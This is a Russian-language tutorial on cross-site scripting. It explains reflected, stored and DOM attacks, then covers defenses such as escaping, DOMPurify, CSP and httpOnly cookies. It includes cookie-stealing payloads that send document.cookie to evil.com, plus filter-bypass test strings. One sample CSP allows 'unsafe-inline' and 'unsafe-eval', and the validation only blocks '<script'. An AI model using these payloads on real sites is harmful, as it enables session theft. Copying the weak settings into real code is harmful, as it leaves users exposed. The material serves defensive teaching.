Перейти к содержимому

12. XSS: атаки и защита

XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript кода на веб-страницу, который выполняется в браузере жертвы.

Что может сделать XSS:

  • Украсть куки сессии → похитить аккаунт
  • Перехватить нажатия клавиш (keylogger)
  • Перенаправить на фишинговый сайт
  • Выполнить действия от имени пользователя
  • Заразить компьютер через браузер

Вредоносный код в URL, сервер “отражает” его обратно:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
# Сервер вставляет q в ответ без экранирования:
<p>Результаты поиска: <script>document.location=...</script></p>

Требует: жертва переходит по специально подготовленной ссылке.

Вредоносный код сохраняется в базе данных:

Злоумышленник публикует комментарий:
"Отличная статья! <script>fetch('https://evil.com/steal?c='+btoa(document.cookie))</script>"
Теперь каждый, кто просматривает статью, отправляет свои куки злоумышленнику.

Самый опасный тип — не нужно заставлять жертву кликать.

Вредоносный код выполняется через манипуляцию DOM в JavaScript:

// Уязвимый код
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `Привет, ${name}!`;
// URL атаки:
// https://example.com?name=<img src=x onerror=alert(1)>

Правило №1: всё, что приходит от пользователя и выводится в HTML — экранируй!

// Опасно!
element.innerHTML = userInput;
// Безопасно
element.textContent = userInput;
// Если нужен HTML — используй DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

В React — по умолчанию безопасно:

// Безопасно: React автоматически экранирует
const Comment = ({ text }) => <p>{text}</p>;
// ОПАСНО: dangerouslySetInnerHTML без санитизации
const Comment = ({ html }) => (
<div dangerouslySetInnerHTML={{ __html: html }} />
);
// Безопасно с DOMPurify
import DOMPurify from 'dompurify';
const Comment = ({ html }) => (
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
);

На сервере (Node.js):

import he from 'he'; // HTML Entities
function escapeHTML(str) {
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
// Или используй библиотеку
const escaped = he.encode(userInput);

CSP — HTTP заголовок, указывающий браузеру, откуда можно загружать ресурсы.

// Express
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'nonce-{RANDOM}'; " + // только скрипты с nonce
"style-src 'self' https://fonts.googleapis.com; " +
"img-src 'self' data: https:; " +
"font-src 'self' https://fonts.gstatic.com; " +
"connect-src 'self' https://api.example.com; " +
"frame-src 'none'; " + // запрет iframe
"object-src 'none';" // запрет Flash/plugins
);
next();
});
next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-eval' 'unsafe-inline'",
// Для строгого CSP с nonce — нужна генерация per-request
].join('; '),
},
];
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
};
import crypto from 'crypto';
// Генерируем уникальный nonce для каждого запроса
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'`
);
next();
});
// В шаблоне
// <script nonce="<%= nonce %>">// ваш inline скрипт</script>

Куки с флагом httpOnly недоступны JavaScript — XSS не сможет украсть сессию:

res.cookie('sessionId', token, {
httpOnly: true, // защита от XSS!
secure: true, // только HTTPS
sameSite: 'Lax',
});

Если нужен Markdown/HTML от пользователя:

Окно терминала
npm install dompurify jsdom
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
function sanitizeHTML(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code'],
ALLOWED_ATTR: ['href', 'rel'],
// Запрещаем javascript: в href
FORBID_CONTENTS: ['script'],
});
}
// Или для Markdown — используй marked + DOMPurify
import { marked } from 'marked';
function renderMarkdown(md) {
const rawHTML = marked(md);
return DOMPurify.sanitize(rawHTML);
}
import { z } from 'zod';
const commentSchema = z.object({
text: z.string()
.min(1)
.max(1000)
.refine(text => !/<script/i.test(text), {
message: 'HTML not allowed',
}),
postId: z.string().uuid(),
});
app.post('/api/comments', async (req, res) => {
const result = commentSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ error: result.error.issues });
}
// Безопасно сохраняем
const comment = await db.comments.create(result.data);
res.json(comment);
});
<!-- Базовые тесты -->
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')
<!-- Обходы фильтров -->
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img src=x oNErRoR=alert(1)>
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
  • XSS Game — практика
  • DOMPurify Demo — тест санитайзера
  • Browser DevTools → Application → CSP violations
  • React: не используешь dangerouslySetInnerHTML без DOMPurify
  • Все пользовательские данные экранированы при выводе
  • CSP заголовок настроен
  • Куки с HttpOnly флагом
  • Rich text санитизируется DOMPurify
  • Входные данные валидируются (Zod, Joi)
  • URL параметры не попадают в innerHTML напрямую
  1. Найди XSS уязвимость в https://xss-game.appspot.com/
  2. Настрой CSP заголовки для Next.js приложения
  3. Добавь DOMPurify для вывода пользовательских комментариев
  4. Проверь приложение через https://securityheaders.com